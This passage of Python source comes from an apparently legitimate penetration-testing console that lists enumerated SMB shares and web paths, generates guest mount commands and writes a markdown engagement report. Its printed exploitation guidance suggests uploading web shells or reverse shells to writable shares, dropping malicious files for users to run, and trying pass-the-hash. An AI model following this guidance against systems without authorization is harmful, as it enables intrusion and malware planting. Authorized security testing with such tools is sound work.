        url = click.prompt("\nURL or Path (e.g., /admin, https://example.com/api)", type=str)

        # Status code (optional)
        status_str = click.prompt("HTTP Status Code (press Enter to skip)", type=str, default="")
        status_code = int(status_str) if status_str.isdigit() else None

        # Content length (optional)
        size_str = click.prompt("Content Length in bytes (press Enter to skip)", type=str, default="")
        content_length = int(size_str) if size_str.isdigit() else None

        # Confirmation
        click.echo("\n" + "-" * 80)
        click.echo(click.style("SUMMARY:", bold=True))
        click.echo(f"Host: {hosts[host_choice - 1].get('ip_address')}")
        click.echo(f"URL: {url}")
        click.echo(f"Status Code: {status_code or 'N/A'}")
        click.echo(f"Content Length: {content_length or 'N/A'}")
        click.echo("-" * 80)

        if not click.confirm("\nAdd this web path?", default=True):
            click.echo(click.style("Cancelled.", fg='yellow'))
            click.pause()
            return

        # Add to database
        path_id = wpm.add_web_path(
            host_id=host_id,
            url=url,
            status_code=status_code,
            content_length=content_length
        )

        click.echo(click.style(f"\n✓ Web path added successfully! (ID: {path_id})", fg='green'))
        click.pause()

    except (KeyboardInterrupt, click.Abort):
        click.echo(click.style("\nCancelled.", fg='yellow'))
        click.pause()


def _delete_web_path(engagement_id: int, wpm: 'WebPathsManager'):
    """Delete a web path."""
    try:
        path_id = click.prompt("\nEnter Web Path ID to delete", type=int)
        path = wpm.get_web_path(path_id)

        if not path:
            click.echo(click.style("\n✗ Web path not found!", fg='red'))
            click.pause()
            return

        # Show path details
        click.echo("\n" + "-" * 80)
        click.echo(click.style("WEB PATH TO DELETE:", bold=True))
        click.echo(f"ID: {path.get('id')}")
        click.echo(f"URL: {path.get('url')}")
        click.echo(f"Status: {path.get('status_code', 'N/A')}")
        click.echo(f"Size: {path.get('content_length', 'N/A')}")
        click.echo("-" * 80)

        if not click.confirm(click.style("\nAre you sure you want to delete this web path?", fg='red'), default=False):
            click.echo(click.style("Cancelled.", fg='yellow'))
            click.pause()
            return

        # Delete from database
        if wpm.delete_web_path(path_id):
            click.echo(click.style("\n✓ Web path deleted successfully!", fg='green'))
        else:
            click.echo(click.style("\n✗ Failed to delete web path!", fg='red'))

        click.pause()

    except (KeyboardInterrupt, click.Abort):
        return
    except ValueError:
        click.echo(click.style("\n✗ Invalid Web Path ID!", fg='red'))
        click.pause()


def _generate_smb_summary(shares: List[Dict], hosts: List[Dict]) -> Dict:
    """Generate SMB enumeration summary."""
    return {
        'total_hosts': len(set(s['host_id'] for s in shares)),
        'total_shares': len(shares),
        'writable': len([s for s in shares if s.get('writable')]),
        'readable': len([s for s in shares if s.get('readable') and not s.get('writable')]),
        'no_access': len([s for s in shares if not s.get('readable') and not s.get('writable')]),
    }


def _categorize_smb_share(share: Dict) -> str:
    """Return risk category: 'critical', 'medium', 'low'"""
    if share.get('writable'):
        return 'critical'
    if share.get('readable'):
        return 'medium'
    return 'low'


def _has_web_service(host_id: int) -> bool:
    """Check if host has web service running."""
    from souleyez.storage.database import get_db
    db = get_db()
    query = """
        SELECT COUNT(*) as count FROM services 
        WHERE host_id = ? AND port IN (80, 443, 8080, 8443, 8000)
    """
    result = db.execute_one(query, (host_id,))
    return result and result.get('count', 0) > 0


def _generate_smb_recommendations(shares: List[Dict], hosts: List[Dict]) -> List[str]:
    """Generate SMB exploitation recommendations."""
    recs = []
    
    writable = [s for s in shares if s.get('writable')]
    readable = [s for s in shares if s.get('readable') and not s.get('writable')]
    no_access = [s for s in shares if not s.get('readable') and not s.get('writable')]
    
    if writable:
        share = writable[0]
        host_ip = share.get('ip_address')
        share_name = share.get('share_name')
        recs.append(f"1. Mount writable share: \\\\{host_ip}\\{share_name}")
        recs.append("2. Enumerate contents for sensitive files")
        recs.append("3. Upload test file to verify write access")
        
        if _has_web_service(share.get('host_id')):
            recs.append("4. Upload web shell (host has HTTP service)")
        else:
            recs.append("4. Upload reverse shell binary or privilege escalation scripts")
        
        recs.append("5. Check for cron jobs accessing share")
        recs.append("6. Test writable shares for privilege escalation")
    
    if readable and not recs:
        recs.append("1. Download readable share contents")
        recs.append("2. Search for credentials and configuration files")
        recs.append("3. Check for database backups")
    
    if no_access:
        recs.append(f"{'1' if not recs else str(len(recs) + 1)}. Test discovered credentials on {len(no_access)} locked shares")
    
    return recs[:6]


def _smbshares_bulk_action_menu(engagement_id: int, shares: list, selected_ids: set, smm) -> str:
    """Show bulk action menu for selected SMB shares."""
    from rich.console import Console
    console = Console()

    selected_shares = [s for s in shares if s.get('id') in selected_ids]

    if not selected_shares:
        return 'continue'

    # Check for writable shares
    has_writable = any(s.get('writable') for s in selected_shares)
    writable_warning = " ⚠️ WRITABLE" if has_writable else ""

    console.print()
    console.print(f"  [bold]Selected: {len(selected_shares)} share(s){writable_warning}[/bold]")
    console.print("    \\[e] Export to file")
    console.print("    \\[m] Generate mount commands")
    console.print("    \\[c] Clear selection")
    console.print("    \\[q] Back")
    console.print()

    try:
        action = click.prompt("  Select option", default="0", show_default=False).strip().lower()

        if action == 'q':
            return 'continue'
        elif action == 'c':
            return 'clear'
        elif action == 'e':
            # Export to file
            from pathlib import Path
            export_file = Path.home() / '.souleyez' / f'smb_shares_export_{engagement_id}.txt'
            with open(export_file, 'w') as f:
                for share in selected_shares:
                    host_ip = share.get('ip_address', '')
                    share_name = share.get('share_name', '')
                    access = 'WRITE' if share.get('writable') else ('READ' if share.get('readable') else 'AUTH')
                    f.write(f"\\\\{host_ip}\\{share_name} ({access})\n")
            click.echo(click.style(f"\n✓ Exported {len(selected_shares)} shares to {export_file}", fg='green'))
            click.pause()
            return 'clear'
        elif action == 'm':
            # Generate mount commands
            console.print("\n  [bold]Mount Commands:[/bold]")
            for share in selected_shares:
                host_ip = share.get('ip_address', '')
                share_name = share.get('share_name', '')
                mount_point = f"/tmp/smb_{share_name}"
                console.print(f"    mount -t cifs //{host_ip}/{share_name} {mount_point} -o guest")
            console.print()
            click.pause()
            return 'continue'

    except (KeyboardInterrupt, EOFError):
        pass

    return 'continue'


def view_smb_shares(engagement_id: int):
    """Display and manage SMB shares with consistent UI pattern."""
    from souleyez.ui.interactive_selector import interactive_select
    from souleyez.storage.smb_shares import SMBSharesManager
    from rich.console import Console
    from rich.table import Table

    hm = HostManager()
    smm = SMBSharesManager()
    console = Console()

    # Active filters
    filters = {
        'access': None,
        'host_id': None,
        'show_auth': True  # Show auth-required shares
    }

    PAGE_SIZE = 20
    current_page = 1
    view_all = False
    selected_ids: set = set()

    while True:
        DesignSystem.clear_screen()
        width = get_terminal_width()
        click.echo("\n┌" + "─" * (width - 2) + "┐")
        click.echo("│" + click.style(" SMB SHARES ENUMERATION ".center(width - 2), bold=True, fg='cyan') + "│")
        click.echo("└" + "─" * (width - 2) + "┘")

        # Get shares
        if filters['host_id']:
            all_shares = smm.list_shares(engagement_id, host_id=filters['host_id'])
        else:
            all_shares = smm.list_shares(engagement_id)

        # Categorize shares
        def get_access_level(share):
            if share.get('writable'):
                return 'writable'
            elif share.get('readable'):
                return 'readable'
            return 'auth'

        # Apply filters
        filtered_shares = all_shares
        if filters['access']:
            filtered_shares = [s for s in filtered_shares if get_access_level(s) == filters['access']]
        if not filters['show_auth']:
            filtered_shares = [s for s in filtered_shares if get_access_level(s) != 'auth']

        if not all_shares:
            console.print("\n[yellow]No SMB shares found.[/yellow]")
            console.print("[dim]Run smbmap scans to discover SMB shares[/dim]")
            click.pause()
            return

        # Show active filters
        active_filters = []
        if filters['access']:
            active_filters.append(f"access: {filters['access']}")
        if filters['host_id']:
            hosts = hm.list_hosts(engagement_id)
            host = next((h for h in hosts if h['id'] == filters['host_id']), None)
            if host:
                active_filters.append(f"host: {host.get('ip_address')}")
        if not filters['show_auth']:
            active_filters.append("hiding auth-required")

        if active_filters:
            click.echo()
            click.echo("  " + click.style("Active Filters: ", bold=True, fg='yellow') + ", ".join(active_filters))

        # Summary line with access counts
        access_counts = {'writable': 0, 'readable': 0, 'auth': 0}
        for share in all_shares:
            access = get_access_level(share)
            access_counts[access] = access_counts.get(access, 0) + 1

        click.echo()
        summary_parts = [f"Total: {len(filtered_shares)}"]
        if access_counts['writable']:
            summary_parts.append(click.style(f"Writable: {access_counts['writable']}", fg='magenta'))
        if access_counts['readable']:
            summary_parts.append(click.style(f"Readable: {access_counts['readable']}", fg='yellow'))
        if access_counts['auth']:
            summary_parts.append(click.style(f"Auth Required: {access_counts['auth']}", fg='bright_black'))
        click.echo("  " + "  |  ".join(summary_parts))
        click.echo()

        # Sort by access level (writable first)
        access_order = {'writable': 0, 'readable': 1, 'auth': 2}
        sorted_shares = sorted(filtered_shares, key=lambda x: access_order.get(get_access_level(x), 3))

        # Pagination
        total_pages = max(1, (len(sorted_shares) + PAGE_SIZE - 1) // PAGE_SIZE) if not view_all else 1
        if current_page > total_pages:
            current_page = total_pages

        if view_all:
            page_shares = sorted_shares
        else:
            start_idx = (current_page - 1) * PAGE_SIZE
            end_idx = start_idx + PAGE_SIZE
            page_shares = sorted_shares[start_idx:end_idx]

        # Build table
        table = Table(show_header=True, header_style="bold cyan", box=DesignSystem.TABLE_BOX, padding=(0, 1), expand=True)
        table.add_column("○", width=5, justify="center", no_wrap=True)
        table.add_column("#", width=5, justify="right")
        table.add_column("Access", width=10)
        table.add_column("Share", width=20)
        table.add_column("Host", width=18)
        table.add_column("Type", width=10)
        table.add_column("Comment", no_wrap=False)

        for idx, share in enumerate(page_shares, start=(current_page - 1) * PAGE_SIZE + 1 if not view_all else 1):
            share_id = share.get('id')
            checkbox = '●' if share_id in selected_ids else '○'
            access = get_access_level(share)
            share_name = (share.get('share_name') or 'N/A')[:20]
            host_ip = (share.get('ip_address') or 'N/A')[:18]
            share_type = (share.get('share_type') or 'Disk')[:10]
            comment = (share.get('comment') or '')[:25]

            # Access color (using standard colors)
            if access == 'writable':
                access_text = f"[magenta bold]WRITABLE[/magenta bold]"
            elif access == 'readable':
                access_text = f"[yellow]READABLE[/yellow]"
            else:
                access_text = f"[bright_black]AUTH[/bright_black]"

            table.add_row(checkbox, str(idx), access_text, share_name, host_ip, share_type, comment)

        console.print(table)

        # Pagination info
        if not view_all and total_pages > 1:
            click.echo()
            click.echo(f"  Page {current_page}/{total_pages}")

        # Selected count
        if selected_ids:
            click.echo()
            click.echo(f"  {click.style(f'✓ Selected: {len(selected_ids)} share(s)', fg='cyan', bold=True)}")

        # TIP and menu
        click.echo()
        click.echo("  💡 TIP: Press 'i' for interactive mode")
        if not view_all and total_pages > 1:
            click.echo("  n/p: Next/Previous page")
        click.echo()
        click.echo("─" * width)
        click.echo()
        click.echo("  [v] View share details")
        click.echo("  [a] All - Toggle pagination")
        click.echo("  [f] Access - Filter by access level")
        click.echo("  [h] Host - Filter by target host")
        click.echo("  [t] Toggle - Show/hide auth-required shares")
        click.echo("  [c] Clear - Clear all filters")
        click.echo("  [q] Back")
        click.echo()

        try:
            choice = click.prompt("Select option", default="q", show_default=False).strip().lower()

            if choice == 'q':
                return
            elif choice == 'n':
                if current_page < total_pages:
                    current_page += 1
            elif choice == 'p':
                if current_page > 1:
                    current_page -= 1
            elif choice == 'a':
                view_all = not view_all
                current_page = 1
            elif choice == 'v':
                # View share details
                try:
                    row_num = click.prompt("  Enter share # to view", type=int)
                    if 1 <= row_num <= len(sorted_shares):
                        share = sorted_shares[row_num - 1]
                        _view_smb_share_detail(share, smm, hm)
                    else:
                        click.echo(click.style("  Invalid share number", fg='red'))
                        time.sleep(0.5)
                except (ValueError, click.Abort):
                    pass
            elif choice == 'f':
                filters['access'] = _smb_filter_access()
                current_page = 1
            elif choice == 'h':
                filters['host_id'] = _smb_filter_host(engagement_id, hm)
                current_page = 1
            elif choice == 't':
                filters['show_auth'] = not filters['show_auth']
                current_page = 1
                click.echo(click.style(f"  ✓ {'Showing' if filters['show_auth'] else 'Hiding'} auth-required shares", fg='green'))
                time.sleep(0.5)
            elif choice == 'c':
                filters = {'access': None, 'host_id': None, 'show_auth': True}
                current_page = 1
                click.echo(click.style("  ✓ Filters cleared", fg='green'))
                time.sleep(0.5)
            elif choice == 'i':
                _smb_select(sorted_shares, selected_ids)
                if selected_ids:
                    result = _smbshares_bulk_action_menu(engagement_id, all_shares, selected_ids, smm)
                    if result == 'clear':
                        selected_ids.clear()

        except (KeyboardInterrupt, click.Abort):
            return


def _smb_filter_access():
    """Prompt for access level filter."""
    click.echo("\nSelect access level:")
    access_levels = ['writable', 'readable', 'auth']
    click.echo("  [q] Clear filter")
    for idx, level in enumerate(access_levels, 1):
        click.echo(f"  [{idx}] {level.capitalize()}")

    try:
        choice_input = click.prompt("Access", type=str, default='q').strip()
        if choice_input == 'q':
            return None
        try:
            choice = int(choice_input)
            if 1 <= choice <= len(access_levels):
                return access_levels[choice - 1]
            return None
        except ValueError:
            return None
    except (KeyboardInterrupt, click.Abort):
        return None


def _smb_filter_host(engagement_id: int, hm):
    """Prompt for host filter."""
    hosts = hm.list_hosts(engagement_id)

    if not hosts:
        click.echo(click.style("\nNo hosts found.", fg='yellow'))
        click.pause()
        return None

    click.echo("\nSelect host:")
    click.echo("  [q] Clear filter")
    for idx, host in enumerate(hosts[:20], 1):
        click.echo(f"  [{idx}] {host.get('ip_address')} - {host.get('hostname', 'N/A')}")

    try:
        choice_input = click.prompt("Host", type=str, default='q').strip()
        if choice_input == 'q':
            return None
        try:
            choice = int(choice_input)
            if 1 <= choice <= len(hosts):
                return hosts[choice - 1]['id']
            return None
        except ValueError:
            return None
    except (KeyboardInterrupt, click.Abort):
        return None


def _smb_select(shares: list, selected_ids: set):
    """Select SMB shares using interactive selector."""
    from souleyez.ui.interactive_selector import interactive_select

    if not shares:
        click.echo(click.style("  No shares to select.", fg='yellow'))
        click.pause()
        return

    def get_access_level(share):
        if share.get('writable'):
            return 'writable'
        elif share.get('readable'):
            return 'readable'
        return 'auth'

    columns = [
        {'name': 'ID', 'width': 6, 'key': 'id', 'justify': 'right'},
        {'name': 'Access', 'width': 10, 'key': 'access'},
        {'name': 'Share', 'width': 20, 'key': 'share_name'},
        {'name': 'Host', 'width': 18, 'key': 'ip_address'},
        {'name': 'Type', 'width': 10, 'key': 'share_type'},
    ]

    # Add access to share items
    share_items = []
    for s in shares:
        share_items.append({
            'id': s.get('id'),
            'access': get_access_level(s),
            'share_name': s.get('share_name', 'N/A'),
            'ip_address': s.get('ip_address', 'N/A'),
            'share_type': s.get('share_type', 'Disk'),
        })

    def format_cell(item: dict, key: str) -> str:
        value = item.get(key)
        if key == 'access':
            access = value or 'auth'
            if access == 'writable':
                return f'[magenta bold]WRITABLE[/magenta bold]'
            elif access == 'readable':
                return f'[yellow]READABLE[/yellow]'
            return f'[bright_black]AUTH[/bright_black]'
        if value is None:
            return '-'
        return str(value)[:18] if key == 'ip_address' else str(value)

    interactive_select(
        items=share_items,
        columns=columns,
        selected_ids=selected_ids,
        get_id=lambda s: s.get('id'),
        title='SELECT SMB SHARES',
        format_cell=format_cell
    )


def _view_smb_share_detail(share: dict, smm, hm):
    """Show detailed view for an SMB share."""
    from rich.console import Console

    console = Console()
    DesignSystem.clear_screen()

    width = get_terminal_width()
    click.echo("\n┌" + "─" * (width - 2) + "┐")
    click.echo("│" + click.style(" SMB SHARE DETAILS ".center(width - 2), bold=True, fg='cyan') + "│")
    click.echo("└" + "─" * (width - 2) + "┘")
    click.echo()

    # Access badge
    if share.get('writable'):
        access = 'WRITABLE'
        access_color = 'magenta'
    elif share.get('readable'):
        access = 'READABLE'
        access_color = 'yellow'
    else:
        access = 'AUTH REQUIRED'
        access_color = 'bright_black'

    console.print(f"  [{access_color} bold]{access}[/{access_color} bold]  \\\\{share.get('ip_address')}\\{share.get('share_name')}")
    click.echo()

    # Details
    click.echo(f"  {click.style('Share ID:', bold=True)} {share.get('id', 'N/A')}")
    click.echo(f"  {click.style('Share Name:', bold=True)} {share.get('share_name', 'N/A')}")
    click.echo(f"  {click.style('Type:', bold=True)} {share.get('share_type', 'Disk')}")
    click.echo(f"  {click.style('Permissions:', bold=True)} {share.get('permissions', 'N/A')}")
    if share.get('comment'):
        click.echo(f"  {click.style('Comment:', bold=True)} {share.get('comment')}")
    click.echo()

    # Exploitation guidance based on access
    click.echo(f"  {click.style('Exploitation Guidance:', bold=True)}")
    if share.get('writable'):
        click.echo("    • Mount the share: mount -t cifs //HOST/SHARE /mnt -o guest")
        click.echo("    • Upload web shell if host has web service")
        click.echo("    • Upload reverse shell binary")
        click.echo("    • Drop malicious files for local users to execute")
        click.echo("    • Check for cron jobs that may run from this share")
    elif share.get('readable'):
        click.echo("    • Mount the share: mount -t cifs //HOST/SHARE /mnt -o guest,ro")
        click.echo("    • Search for credentials in config files")
        click.echo("    • Look for database backups")
        click.echo("    • Check for sensitive documents")
    else:
        click.echo("    • Test with discovered credentials")
        click.echo("    • Try common credential combinations")
        click.echo("    • Attempt pass-the-hash if NTLM hashes available")
    click.echo()

    # Get enumerated files if available
    files = smm.get_share_files(share.get('id'))
    if files:
        click.echo(f"  {click.style(f'Enumerated Files: {len(files)}', bold=True)}")
        for f in files[:10]:
            prefix = '📁' if f.get('is_directory') else '📄'
            click.echo(f"    {prefix} {f.get('path', 'N/A')[:50]}")
        if len(files) > 10:
            click.echo(f"    ... and {len(files) - 10} more")
        click.echo()

    click.pause("  Press any key to return...")


def _view_share_details(engagement_id: int, smm: SMBSharesManager):
    """View detailed information about a specific share including files."""
    from rich.console import Console
    from rich.table import Table
    
    console = Console()
    
    try:
        share_id = click.prompt("Enter Share ID to view details", type=int)
        
        # Get all shares to find this one
        all_shares = smm.list_shares(engagement_id)
        share = next((s for s in all_shares if s['id'] == share_id), None)
        
        if not share:
            click.echo(click.style(f"\n✗ Share ID {share_id} not found!", fg='red'))
            click.pause()
            return
        
        DesignSystem.clear_screen()
        console.print("\n[bold cyan]" + "─" * 70)
        console.print(f"[bold cyan]SHARE DETAILS: {share['share_name']}")
        console.print("[bold cyan]" + "─" * 70 + "[/bold cyan]\n")
        
        # Share info
        console.print(f"[bold]Host:[/bold] {share['ip_address']}")
        if share.get('hostname'):
            console.print(f"[bold]Hostname:[/bold] {share['hostname']}")
        console.print(f"[bold]Share Name:[/bold] {share['share_name']}")
        console.print(f"[bold]Type:[/bold] {share['share_type']}")
        
        # Color-code permissions
        if share['writable']:
            perm_color = "red bold"
        elif share['readable']:
            perm_color = "yellow"
        else:
            perm_color = "dim"
        console.print(f"[bold]Permissions:[/bold] [{perm_color}]{share['permissions']}[/{perm_color}]")
        
        if share['comment']:
            console.print(f"[bold]Comment:[/bold] {share['comment']}")
        console.print()
        
        # Get files
        files = smm.get_share_files(share_id)
        
        if files:
            console.print(f"[bold green]📁 ENUMERATED FILES ({len(files)})[/bold green]\n")
            
            # Separate directories and files
            directories = [f for f in files if f['is_directory']]
            regular_files = [f for f in files if not f['is_directory']]
            
            if directories:
                console.print("[bold]Directories:[/bold]")
                for d in directories[:10]:
                    console.print(f"  📁 {d['path']}")
                if len(directories) > 10:
                    console.print(f"  [dim]... and {len(directories) - 10} more[/dim]")
                console.print()
            
            if regular_files:
                console.print("[bold]Files:[/bold]")
                table = Table(show_header=True, header_style="bold magenta", box=None, padding=(0, 1), expand=True)
                table.add_column("File Name", width=50)
                table.add_column("Size", width=12, justify="right")
                table.add_column("Modified", width=25)
                
                for f in regular_files[:20]:
                    filename = f['path'][:50]
                    size = f"{f['size']:,} bytes" if f['size'] else '-'
                    timestamp = f['timestamp'][:25] if f['timestamp'] else '-'
                    table.add_row(filename, size, timestamp)
                
                console.print(table)
                if len(regular_files) > 20:
                    console.print(f"  [dim]... and {len(regular_files) - 20} more files[/dim]")
        else:
            console.print("[yellow]No files enumerated for this share.[/yellow]")
            console.print("[dim]💡 Use smbmap with -R flag to enumerate files.[/dim]")
        
        console.print()
        click.pause()
        
    except (KeyboardInterrupt, click.Abort):
        return


def _filter_smb_by_host(engagement_id: int, hm: HostManager):
    """Prompt for host filter for SMB shares."""
    hosts = hm.list_hosts(engagement_id)

    if not hosts:
        click.echo(click.style("\n✗ No hosts found!", fg='red'))
        click.pause()
        return None

    click.echo("\n" + "─" * 70)
    click.echo("SELECT HOST TO FILTER")
    click.echo("─" * 70 + "\n")

    for idx, host in enumerate(hosts[:20], 1):
        ip = host.get('ip_address', 'N/A')
        hostname = host.get('hostname', '')
        display = f"{ip} ({hostname})" if hostname else ip
        click.echo(f"  [{idx}] {display}")

    try:
        choice = click.prompt("\nSelect host number", type=int)
        if 1 <= choice <= len(hosts):
            selected_host = hosts[choice - 1]
            click.echo(click.style(f"\n✓ Filtering by: {selected_host.get('ip_address')}", fg='green'))
            click.pause()
            return selected_host['id']
        else:
            click.echo(click.style("\n✗ Invalid selection!", fg='red'))
            click.pause()
            return None
    except (KeyboardInterrupt, click.Abort):
        return None


def _show_smb_statistics(engagement_id: int, smm: SMBSharesManager):
    """Display SMB shares statistics."""
    from rich.console import Console
    from souleyez.storage.hosts import HostManager
    
    console = Console()
    hm = HostManager()
    
    DesignSystem.clear_screen()
    console.print("\n[bold cyan]" + "─" * 70)
    console.print("[bold cyan]SMB ENUMERATION STATISTICS")
    console.print("[bold cyan]" + "─" * 70 + "[/bold cyan]\n")
    
    stats = smm.get_stats(engagement_id)
    
    console.print(f"[bold]Total Shares Discovered:[/bold] {stats['total_shares']}")
    console.print(f"[bold green]Readable Shares:[/bold green] {stats['readable']}")
    console.print(f"[bold red]Writable Shares:[/bold red] {stats['writable']}")
    console.print(f"[bold]Hosts with SMB:[/bold] {stats['hosts_with_smb']}")
    console.print()
    
    # Show breakdown by host
    all_shares = smm.list_shares(engagement_id)
    shares_by_host = {}
    for share in all_shares:
        host_ip = share.get('ip_address', 'Unknown')
        if host_ip not in shares_by_host:
            shares_by_host[host_ip] = {'total': 0, 'readable': 0, 'writable': 0}
        shares_by_host[host_ip]['total'] += 1
        if share['readable']:
            shares_by_host[host_ip]['readable'] += 1
        if share['writable']:
            shares_by_host[host_ip]['writable'] += 1
    
    console.print("[bold]Breakdown by Host:[/bold]")
    for host_ip, counts in sorted(shares_by_host.items()):
        writable_str = f"[red]{counts['writable']} writable[/red]" if counts['writable'] > 0 else "0 writable"
        console.print(f"  {host_ip}: {counts['total']} total, {counts['readable']} readable, {writable_str}")
    
    console.print()
    click.pause()


def _export_smb_report(engagement_id: int, smm: SMBSharesManager, all_shares: List[Dict[str, Any]]):
    """Export comprehensive SMB shares report."""
    import time
    from souleyez.storage.engagements import EngagementManager
    from souleyez.storage.credentials import CredentialsManager
    from souleyez.storage.findings import FindingsManager

    em = EngagementManager()
    cm = CredentialsManager()
    fm = FindingsManager()

    engagement = em.get_by_id(engagement_id)
    engagement_name = engagement['name'] if engagement else 'unknown'

    # Get statistics
    stats = smm.get_stats(engagement_id)

    # Get writable and readable shares
    writable_shares = [s for s in all_shares if s.get('writable')]
    readable_shares = [s for s in all_shares if s.get('readable') and not s.get('writable')]
    no_access_shares = [s for s in all_shares if not s.get('readable') and not s.get('writable')]

    # Get SMB credentials
    try:
        smb_creds = cm.list_credentials(engagement_id, service='smb', decrypt=True)
        valid_smb_creds = [c for c in smb_creds if c.get('status') == 'valid']
    except:
        smb_creds = []
        valid_smb_creds = []

    # Get SMB-related findings
    all_findings = fm.list_findings(engagement_id)
    smb_findings = [f for f in all_findings if 'smb' in f.get('tool', '').lower() or 'share' in f.get('title', '').lower()]

    # Generate filename
    timestamp = time.strftime('%Y%m%d_%H%M%S')
    filename = f"smb_report_{engagement_name}_{timestamp}.md"
    filepath = os.path.join(os.getcwd(), 'data', 'reports', filename)

    # Ensure directory exists
    os.makedirs(os.path.dirname(filepath), exist_ok=True)

    try:
        with open(filepath, 'w') as f:
            # Header
            f.write(f"# SMB Share Enumeration Report\n\n")
            f.write(f"**Engagement:** {engagement_name}\n")
            f.write(f"**Generated:** {time.strftime('%Y-%m-%d %H:%M:%S')}\n")
            f.write(f"**Tool:** SoulEyez SMB Enumeration Module\n\n")

            f.write("---\n\n")

            # Executive Summary
            f.write("## Executive Summary\n\n")
            f.write(f"This report documents the SMB share enumeration results for the {engagement_name} engagement. ")
            f.write(f"A total of **{stats['total_shares']} SMB share(s)** were discovered across **{stats['hosts_with_smb']} host(s)**.\n\n")

            if writable_shares:
                f.write(f"⚠️ **CRITICAL:** {len(writable_shares)} writable share(s) identified - immediate security risk.\n\n")

            if readable_shares:
                f.write(f"⚠️ **MEDIUM:** {len(readable_shares)} readable share(s) identified - potential data exposure.\n\n")

            f.write("---\n\n")

            # Statistics
            f.write("## Statistics\n\n")
            f.write(f"- **Total Shares:** {stats['total_shares']}\n")
            f.write(f"- **Writable Shares:** {stats['writable']} (HIGH RISK)\n")
            f.write(f"- **Readable Shares:** {stats['readable']} (MEDIUM RISK)\n")
            f.write(f"- **No Access Shares:** {len(no_access_shares)} (require authentication)\n")
            f.write(f"- **Hosts with SMB:** {stats['hosts_with_smb']}\n")
            f.write(f"- **Valid SMB Credentials:** {len(valid_smb_creds)}\n")
            f.write(f"- **SMB-Related Findings:** {len(smb_findings)}\n\n")

            f.write("---\n\n")

            # Writable Shares (CRITICAL)
            if writable_shares:
                f.write("## 🔴 CRITICAL - Writable Shares\n\n")
                f.write("Shares with WRITE permissions allow attackers to:\n")
                f.write("- Upload web shells for remote code execution\n")
                f.write("- Plant malware and ransomware\n")
                f.write("- Modify existing files for backdoors\n")
                f.write("- Use as staging area for lateral movement\n\n")

                # Group by host
                shares_by_host = {}
                for share in writable_shares:
                    host_ip = share.get('ip_address', 'Unknown')
                    if host_ip not in shares_by_host:
                        shares_by_host[host_ip] = []
                    shares_by_host[host_ip].append(share)

                for host_ip, shares in sorted(shares_by_host.items()):
                    f.write(f"### Host: {host_ip}\n\n")
                    for share in shares:
                        f.write(f"#### \\\\{host_ip}\\{share['share_name']}\n\n")
                        f.write(f"- **Permissions:** {share['permissions']}\n")
                        f.write(f"- **Type:** {share.get('share_type', 'Disk')}\n")
                        if share.get('comment'):
                            f.write(f"- **Comment:** {share['comment']}\n")
                        f.write(f"- **UNC Path:** `\\\\{host_ip}\\{share['share_name']}`\n")

                        # Get enumerated files
                        files = smm.get_share_files(share['id'])
                        if files:
                            f.write(f"- **Enumerated Files:** {len(files)}\n")

                        f.write("\n")

                f.write("---\n\n")

            # Readable Shares
            if readable_shares:
                f.write("## 🟡 MEDIUM - Readable Shares\n\n")
                f.write("Shares with READ permissions may expose:\n")
                f.write("- Sensitive configuration files\n")
                f.write("- Database backups and credentials\n")
                f.write("- Source code and intellectual property\n")
                f.write("- User documents and PII\n\n")

                shares_by_host = {}
                for share in readable_shares:
                    host_ip = share.get('ip_address', 'Unknown')
                    if host_ip not in shares_by_host:
                        shares_by_host[host_ip] = []
                    shares_by_host[host_ip].append(share)

                for host_ip, shares in sorted(shares_by_host.items()):
                    f.write(f"### Host: {host_ip}\n\n")
                    for share in shares:
                        f.write(f"- **\\\\{host_ip}\\{share['share_name']}**\n")
                        f.write(f"  - Permissions: {share['permissions']}\n")
                        if share.get('comment'):
                            f.write(f"  - Comment: {share['comment']}\n")

                        # Get enumerated files
                        files = smm.get_share_files(share['id'])
                        if files:
                            f.write(f"  - Enumerated Files: {len(files)}\n")
                            # Show interesting files
                            sensitive_files = [f for f in files if any(pattern in f['path'].lower() for pattern in ['password', 'config', '.sql', '.bak', 'cred'])]
                            if sensitive_files:
                                f.write(f"  - **Sensitive Files Found:** {len(sensitive_files)}\n")

                        f.write("\n")

                f.write("---\n\n")

            # Authenticated Shares
            if no_access_shares:
                f.write("## 🔵 INFO - Authenticated Shares\n\n")
                f.write(f"The following {len(no_access_shares)} share(s) require valid credentials for access:\n\n")

                shares_by_host = {}
                for share in no_access_shares:
                    host_ip = share.get('ip_address', 'Unknown')
                    if host_ip not in shares_by_host:
                        shares_by_host[host_ip] = []
                    shares_by_host[host_ip].append(share)

                for host_ip, shares in sorted(shares_by_host.items()):
                    f.write(f"### Host: {host_ip}\n\n")
                    for share in shares:
                        f.write(f"- \\\\{host_ip}\\{share['share_name']}")
                        if share.get('comment'):
                            f.write(f" - {share['comment']}")
                        f.write("\n")
                    f.write("\n")

                f.write("---\n\n")

            # Valid Credentials
            if valid_smb_creds:
                f.write("## 🔑 Valid SMB Credentials\n\n")
                f.write(f"Successfully validated {len(valid_smb_creds)} credential(s) against SMB shares:\n\n")

                for cred in valid_smb_creds:
                    username = cred.get('username', 'N/A')
                    # Don't include full password in report for security
                    password_hint = cred.get('password', '')[:3] + '***' if cred.get('password') else 'N/A'
                    host_ip = cred.get('ip_address', 'Unknown')

                    f.write(f"- **{username}** on {host_ip} (password: {password_hint})\n")
                    f.write(f"  - Tool: {cred.get('tool', 'unknown')}\n")
                    f.write(f"  - Status: {cred.get('status', 'unknown')}\n\n")

                f.write("---\n\n")

            # Findings
            if smb_findings:
                f.write("## 🔍 Security Findings\n\n")

                for finding in smb_findings:
                    severity_icon = {'critical': '🔴', 'high': '🔴', 'medium': '🟡', 'low': '🟢', 'info': '🔵'}.get(finding.get('severity', 'info'), '🔵')
                    f.write(f"### {severity_icon} {finding.get('title', 'Untitled')}\n\n")
                    f.write(f"**Severity:** {finding.get('severity', 'unknown').upper()}\n\n")
                    f.write(f"**Description:**\n{finding.get('description', 'No description')}\n\n")

                    if finding.get('evidence'):
                        f.write(f"**Evidence:**\n```\n{finding['evidence']}\n```\n\n")

                    f.write("---\n\n")

            # Recommendations
            f.write("## 💡 Recommendations\n\n")

            if writable_shares:
                f.write("### Immediate Actions (Writable Shares)\n\n")
                f.write("1. **Disable anonymous write access** to all shares\n")
                f.write("2. **Audit share permissions** and apply principle of least privilege\n")
                f.write("3. **Monitor for unauthorized file uploads** on writable shares\n")
                f.write("4. **Consider additional security controls:**\n")
                f.write("   - Enable SMB signing to prevent relay attacks\n")
                f.write("   - Disable SMBv1 (vulnerable protocol)\n")
                f.write("   - Implement network segmentation\n")
